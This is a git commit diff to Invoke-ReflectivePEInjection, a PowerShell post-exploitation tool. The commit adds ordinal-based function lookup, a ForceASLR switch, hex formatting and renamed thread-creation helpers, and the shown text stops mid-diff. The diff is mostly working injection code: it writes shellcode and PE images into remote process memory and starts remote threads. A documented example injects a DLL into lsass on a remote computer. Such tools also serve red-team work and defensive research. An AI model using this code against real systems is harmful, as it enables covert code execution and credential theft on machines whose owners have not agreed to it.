Bug fixes to Invoke-ReflectivePEInjection
Fixed a bug where calling GetProcAddress by ordinal instead of procedure name failed. Fixed a bug where reflectively loading an EXE will cause the entry function (main()) to be called twice instead of once as expected. Added a ForceASLR flag to force ASLR to be used even if the PE file doesn't officially support ASLR. Some minor other changes.
This commit is contained in:
parent
6e56d40662
commit
03b8d5c6b4
|
|
@ -33,7 +33,7 @@ Author: Joe Bialek, Twitter: @JosephBialek
|
||||||
License: BSD 3-Clause
|
License: BSD 3-Clause
|
||||||
Required Dependencies: None
|
Required Dependencies: None
|
||||||
Optional Dependencies: None
|
Optional Dependencies: None
|
||||||
Version: 1.1
|
Version: 1.2
|
||||||
|
|
||||||
.DESCRIPTION
|
.DESCRIPTION
|
||||||
|
|
||||||
|
|
@ -69,6 +69,12 @@ Optional, the name of the remote process to inject the DLL in to. If not injecti
|
||||||
|
|
||||||
Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
|
Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
|
||||||
|
|
||||||
|
.PARAMETER ForceASLR
|
||||||
|
|
||||||
|
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
|
||||||
|
if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
|
||||||
|
loading in to a remote process.
|
||||||
|
|
||||||
.EXAMPLE
|
.EXAMPLE
|
||||||
|
|
||||||
Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
|
Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
|
||||||
|
|
@ -93,6 +99,11 @@ Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
|
||||||
|
|
||||||
.EXAMPLE
|
.EXAMPLE
|
||||||
|
|
||||||
|
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
|
||||||
|
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
|
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
|
||||||
Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
|
Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
|
||||||
|
|
||||||
|
|
@ -191,7 +202,11 @@ Param(
|
||||||
|
|
||||||
[Parameter(Position = 5)]
|
[Parameter(Position = 5)]
|
||||||
[String]
|
[String]
|
||||||
$ProcName
|
$ProcName,
|
||||||
|
|
||||||
|
[Parameter(Position = 6)]
|
||||||
|
[Switch]
|
||||||
|
$ForceASLR
|
||||||
)
|
)
|
||||||
|
|
||||||
Set-StrictMode -Version 2
|
Set-StrictMode -Version 2
|
||||||
|
|
@ -204,17 +219,21 @@ $RemoteScriptBlock = {
|
||||||
[Byte[]]
|
[Byte[]]
|
||||||
$PEBytes,
|
$PEBytes,
|
||||||
|
|
||||||
[Parameter(Position = 1, Mandatory = $false)]
|
[Parameter(Position = 1, Mandatory = $true)]
|
||||||
[String]
|
[String]
|
||||||
$FuncReturnType,
|
$FuncReturnType,
|
||||||
|
|
||||||
[Parameter(Position = 2, Mandatory = $false)]
|
[Parameter(Position = 2, Mandatory = $true)]
|
||||||
[Int32]
|
[Int32]
|
||||||
$ProcId,
|
$ProcId,
|
||||||
|
|
||||||
[Parameter(Position = 3, Mandatory = $false)]
|
[Parameter(Position = 3, Mandatory = $true)]
|
||||||
[String]
|
[String]
|
||||||
$ProcName
|
$ProcName,
|
||||||
|
|
||||||
|
[Parameter(Position = 4, Mandatory = $true)]
|
||||||
|
[Bool]
|
||||||
|
$ForceASLR
|
||||||
)
|
)
|
||||||
|
|
||||||
###################################
|
###################################
|
||||||
|
|
@ -618,10 +637,10 @@ $RemoteScriptBlock = {
|
||||||
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
|
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
|
||||||
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
|
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
|
||||||
|
|
||||||
$GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress
|
$GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
|
||||||
$GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
|
$GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
|
||||||
$GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate)
|
$GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
|
||||||
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal
|
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
|
||||||
|
|
||||||
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
|
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
|
||||||
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
|
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
|
||||||
|
|
@ -873,6 +892,20 @@ $RemoteScriptBlock = {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
Function Get-Hex
|
||||||
|
{
|
||||||
|
Param(
|
||||||
|
[Parameter(Position = 0, Mandatory = $true)]
|
||||||
|
$Value #We will determine the type dynamically
|
||||||
|
)
|
||||||
|
|
||||||
|
$ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
|
||||||
|
$Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.
|
||||||
|
|
||||||
|
return $Hex
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
Function Test-MemoryRangeValid
|
Function Test-MemoryRangeValid
|
||||||
{
|
{
|
||||||
Param(
|
Param(
|
||||||
|
|
@ -1075,7 +1108,7 @@ $RemoteScriptBlock = {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
Function Invoke-CreateRemoteThread
|
Function Create-RemoteThread
|
||||||
{
|
{
|
||||||
Param(
|
Param(
|
||||||
[Parameter(Position = 1, Mandatory = $true)]
|
[Parameter(Position = 1, Mandatory = $true)]
|
||||||
|
|
@ -1101,7 +1134,7 @@ $RemoteScriptBlock = {
|
||||||
#Vista and Win7
|
#Vista and Win7
|
||||||
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
|
if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
|
||||||
{
|
{
|
||||||
Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
|
#Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
|
||||||
$RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
|
$RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
|
||||||
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||||
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
|
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
|
||||||
|
|
@ -1112,13 +1145,13 @@ $RemoteScriptBlock = {
|
||||||
#XP/Win8
|
#XP/Win8
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
|
#Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
|
||||||
$RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
|
$RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
|
if ($RemoteThreadHandle -eq [IntPtr]::Zero)
|
||||||
{
|
{
|
||||||
Write-Verbose "Error creating remote thread, thread handle is null"
|
Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
|
||||||
}
|
}
|
||||||
|
|
||||||
return $RemoteThreadHandle
|
return $RemoteThreadHandle
|
||||||
|
|
@ -1357,7 +1390,7 @@ $RemoteScriptBlock = {
|
||||||
Throw "Unable to write shellcode to remote process memory."
|
Throw "Unable to write shellcode to remote process memory."
|
||||||
}
|
}
|
||||||
|
|
||||||
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
|
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
|
||||||
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
|
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
|
||||||
if ($Result -ne 0)
|
if ($Result -ne 0)
|
||||||
{
|
{
|
||||||
|
|
@ -1378,7 +1411,7 @@ $RemoteScriptBlock = {
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
[IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
|
[IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
|
||||||
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
|
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
|
||||||
if ($Result -ne 0)
|
if ($Result -ne 0)
|
||||||
{
|
{
|
||||||
|
|
@ -1413,12 +1446,21 @@ $RemoteScriptBlock = {
|
||||||
$RemoteDllHandle,
|
$RemoteDllHandle,
|
||||||
|
|
||||||
[Parameter(Position=2, Mandatory=$true)]
|
[Parameter(Position=2, Mandatory=$true)]
|
||||||
[String]
|
[IntPtr]
|
||||||
$FunctionName
|
$FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing)
|
||||||
|
|
||||||
|
[Parameter(Position=3, Mandatory=$true)]
|
||||||
|
[Bool]
|
||||||
|
$LoadByOrdinal
|
||||||
)
|
)
|
||||||
|
|
||||||
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
|
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
|
||||||
$FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName)
|
|
||||||
|
[IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal
|
||||||
|
#If not loading by ordinal, write the function name to the remote process memory
|
||||||
|
if (-not $LoadByOrdinal)
|
||||||
|
{
|
||||||
|
$FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
|
||||||
|
|
||||||
#Write FunctionName to memory (will be used in GetProcAddress)
|
#Write FunctionName to memory (will be used in GetProcAddress)
|
||||||
$FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
|
$FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
|
||||||
|
|
@ -1430,7 +1472,6 @@ $RemoteScriptBlock = {
|
||||||
|
|
||||||
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
|
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
|
||||||
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
|
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
|
||||||
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr)
|
|
||||||
if ($Success -eq $false)
|
if ($Success -eq $false)
|
||||||
{
|
{
|
||||||
Throw "Unable to write DLL path to remote process memory"
|
Throw "Unable to write DLL path to remote process memory"
|
||||||
|
|
@ -1439,6 +1480,12 @@ $RemoteScriptBlock = {
|
||||||
{
|
{
|
||||||
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
|
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
#If loading by ordinal, just set RFuncNamePtr to be the ordinal number
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$RFuncNamePtr = $FunctionNamePtr
|
||||||
|
}
|
||||||
|
|
||||||
#Get address of GetProcAddress
|
#Get address of GetProcAddress
|
||||||
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
|
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
|
||||||
|
|
@ -1455,7 +1502,6 @@ $RemoteScriptBlock = {
|
||||||
|
|
||||||
#Write Shellcode to the remote process which will call GetProcAddress
|
#Write Shellcode to the remote process which will call GetProcAddress
|
||||||
#Shellcode: GetProcAddress.asm
|
#Shellcode: GetProcAddress.asm
|
||||||
#todo: need to have detection for when to get by ordinal
|
|
||||||
[Byte[]]$GetProcAddressSC = @()
|
[Byte[]]$GetProcAddressSC = @()
|
||||||
if ($PEInfo.PE64Bit -eq $true)
|
if ($PEInfo.PE64Bit -eq $true)
|
||||||
{
|
{
|
||||||
|
|
@ -1508,7 +1554,7 @@ $RemoteScriptBlock = {
|
||||||
Throw "Unable to write shellcode to remote process memory."
|
Throw "Unable to write shellcode to remote process memory."
|
||||||
}
|
}
|
||||||
|
|
||||||
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
|
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
|
||||||
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
|
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
|
||||||
if ($Result -ne 0)
|
if ($Result -ne 0)
|
||||||
{
|
{
|
||||||
|
|
@ -1524,10 +1570,15 @@ $RemoteScriptBlock = {
|
||||||
}
|
}
|
||||||
[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
|
[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
|
||||||
|
|
||||||
|
#Cleanup remote process memory
|
||||||
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
|
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
|
||||||
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
|
|
||||||
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
|
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
|
||||||
|
|
||||||
|
if (-not $LoadByOrdinal)
|
||||||
|
{
|
||||||
|
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
|
||||||
|
}
|
||||||
|
|
||||||
return $ProcAddress
|
return $ProcAddress
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -1773,34 +1824,49 @@ $RemoteScriptBlock = {
|
||||||
|
|
||||||
while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
|
while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
|
||||||
{
|
{
|
||||||
$ProcedureName = ''
|
$LoadByOrdinal = $false
|
||||||
|
[IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
|
||||||
#Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
|
#Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
|
||||||
# If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
|
# If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
|
||||||
# and doing the comparison, just see if it is less than 0
|
# and doing the comparison, just see if it is less than 0
|
||||||
[IntPtr]$NewThunkRef = [IntPtr]::Zero
|
[IntPtr]$NewThunkRef = [IntPtr]::Zero
|
||||||
if([Int64]$OriginalThunkRefVal -lt 0)
|
if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
|
||||||
{
|
{
|
||||||
$ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
|
[IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
|
||||||
|
$LoadByOrdinal = $true
|
||||||
|
}
|
||||||
|
elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
|
||||||
|
{
|
||||||
|
[IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
|
||||||
|
$LoadByOrdinal = $true
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
[IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
|
[IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
|
||||||
$StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
|
$StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
|
||||||
$ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
|
$ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
|
||||||
|
$ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($RemoteLoading -eq $true)
|
if ($RemoteLoading -eq $true)
|
||||||
{
|
{
|
||||||
[IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName
|
[IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
[IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName)
|
[IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
|
||||||
}
|
}
|
||||||
|
|
||||||
if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
|
if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
|
||||||
|
{
|
||||||
|
if ($LoadByOrdinal)
|
||||||
|
{
|
||||||
|
Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
|
||||||
|
}
|
||||||
|
else
|
||||||
{
|
{
|
||||||
Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
|
Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
|
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
|
||||||
|
|
@ -1808,6 +1874,14 @@ $RemoteScriptBlock = {
|
||||||
$ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
|
$ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
|
||||||
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
|
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
|
||||||
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
|
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
|
||||||
|
|
||||||
|
#Cleanup
|
||||||
|
#If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed
|
||||||
|
if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
|
||||||
|
{
|
||||||
|
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
|
||||||
|
$ProcedureNamePtr = [IntPtr]::Zero
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
|
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
|
||||||
|
|
@ -1977,7 +2051,7 @@ $RemoteScriptBlock = {
|
||||||
|
|
||||||
if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
|
if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
|
||||||
{
|
{
|
||||||
throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr"
|
throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
|
||||||
}
|
}
|
||||||
|
|
||||||
#Prepare the shellcode
|
#Prepare the shellcode
|
||||||
|
|
@ -2268,7 +2342,11 @@ $RemoteScriptBlock = {
|
||||||
|
|
||||||
[Parameter(Position = 2, Mandatory = $false)]
|
[Parameter(Position = 2, Mandatory = $false)]
|
||||||
[IntPtr]
|
[IntPtr]
|
||||||
$RemoteProcHandle
|
$RemoteProcHandle,
|
||||||
|
|
||||||
|
[Parameter(Position = 3)]
|
||||||
|
[Bool]
|
||||||
|
$ForceASLR = $false
|
||||||
)
|
)
|
||||||
|
|
||||||
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
|
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
|
||||||
|
|
@ -2346,12 +2424,27 @@ $RemoteScriptBlock = {
|
||||||
#Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
|
#Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
|
||||||
Write-Verbose "Allocating memory for the PE and write its headers to memory"
|
Write-Verbose "Allocating memory for the PE and write its headers to memory"
|
||||||
|
|
||||||
|
#ASLR check
|
||||||
[IntPtr]$LoadAddr = [IntPtr]::Zero
|
[IntPtr]$LoadAddr = [IntPtr]::Zero
|
||||||
if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
|
$PESupportsASLR = ($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
|
||||||
|
if ((-not $ForceASLR) -and (-not $PESupportsASLR))
|
||||||
{
|
{
|
||||||
Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue
|
Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
|
||||||
[IntPtr]$LoadAddr = $OriginalImageBase
|
[IntPtr]$LoadAddr = $OriginalImageBase
|
||||||
}
|
}
|
||||||
|
elseif ($ForceASLR -and (-not $PESupportsASLR))
|
||||||
|
{
|
||||||
|
Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($ForceASLR -and $RemoteLoading)
|
||||||
|
{
|
||||||
|
Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
|
||||||
|
}
|
||||||
|
if ($RemoteLoading -and (-not $PESupportsASLR))
|
||||||
|
{
|
||||||
|
Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
|
||||||
|
}
|
||||||
|
|
||||||
$PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell
|
$PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell
|
||||||
$EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
|
$EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process.
|
||||||
|
|
@ -2393,7 +2486,7 @@ $RemoteScriptBlock = {
|
||||||
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
|
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
|
||||||
$PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
|
$PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
|
||||||
$PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
|
$PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
|
||||||
Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress"
|
Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)"
|
||||||
|
|
||||||
|
|
||||||
#Copy each section from the PE in to memory
|
#Copy each section from the PE in to memory
|
||||||
|
|
@ -2506,7 +2599,7 @@ $RemoteScriptBlock = {
|
||||||
Throw "Unable to write shellcode to remote process memory."
|
